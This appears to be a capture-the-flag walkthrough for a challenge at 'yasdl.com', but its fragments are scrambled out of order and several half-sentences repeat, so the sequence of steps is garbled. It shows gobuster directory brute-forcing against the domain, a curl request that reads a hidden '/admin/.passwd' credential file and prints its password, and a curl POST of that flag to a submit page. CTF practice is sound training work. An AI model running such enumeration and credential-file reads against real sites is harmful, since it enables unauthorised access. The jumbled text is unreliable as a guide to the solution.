Yasdl.com | Password
<!-- the password is stored in a hidden file --> That tells us to keep looking for a hidden file. We brute‑force for hidden files inside the admin directory:
<tr><td>username</td><td>admin</td></tr> <tr><td>password</td><td>???</td></tr> The password field is deliberately left blank. The source also contains an HTML comment:
$ curl -s http://yasdl.com/admin/.passwd YASDLp4ssw0rd_1s_h3r3 That string follows the typical flag format for the CTF ( YASDL... ), so we have found the password/flag. Most CTF platforms provide a “submit” page. The challenge often includes a submission form at /submit.php : yasdl.com password
/admin/ /private/ /backup/ /login.php (the link we already saw) A quick directory brute‑force with gobuster (or dirsearch , dirb , etc.) helps confirm what’s actually reachable.
$ gobuster dir -u http://yasdl.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html Result highlights: ), so we have found the password/flag
$ curl -X POST -d "flag=YASDLp4ssw0rd_1s_h3r3" http://yasdl.com/submit.php The server replies:
$ gobuster dir -u http://yasdl.com/admin/ -w /usr/share/wordlists/dirb/common.txt -x txt,php,conf,json Output of interest: $ gobuster dir -u http://yasdl
/admin/.passwd (200) [size: 42] /admin/.htaccess (200) Fetching the hidden file: